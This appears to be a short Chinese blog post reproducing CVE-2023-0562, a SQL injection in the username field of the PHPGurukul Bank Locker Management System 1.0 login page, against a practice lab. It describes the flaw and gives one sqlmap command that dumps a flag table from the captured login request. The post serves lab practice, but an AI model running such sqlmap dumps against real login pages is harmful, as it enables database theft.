路漫漫其修远兮,吾将上下而求索

导航

CVE-2023-0562银行储物柜管理系统登录页面sql注入漏洞靶场复现

image
在PHPGurukul银行储物柜管理系统1.0中发现了一个漏洞。它被评定为临界状态。受此问题影响的是组件登录的文件index.php的一些未知功能。对参数username的操作会导致sql注入。攻击可能是远程发起的。该漏洞已被公开,并可能被利用。此漏洞的标识符是VDB-219716。
image
image

抓登录包放salmap里跑
image

爆flag
python sqlmap.py -r bao\4.txt -D blmsdb -T fllllaaaag -C flag --dump
image

posted on 2024-08-06 12:36  爱在西元间  阅读(42)  评论(0编辑  收藏  举报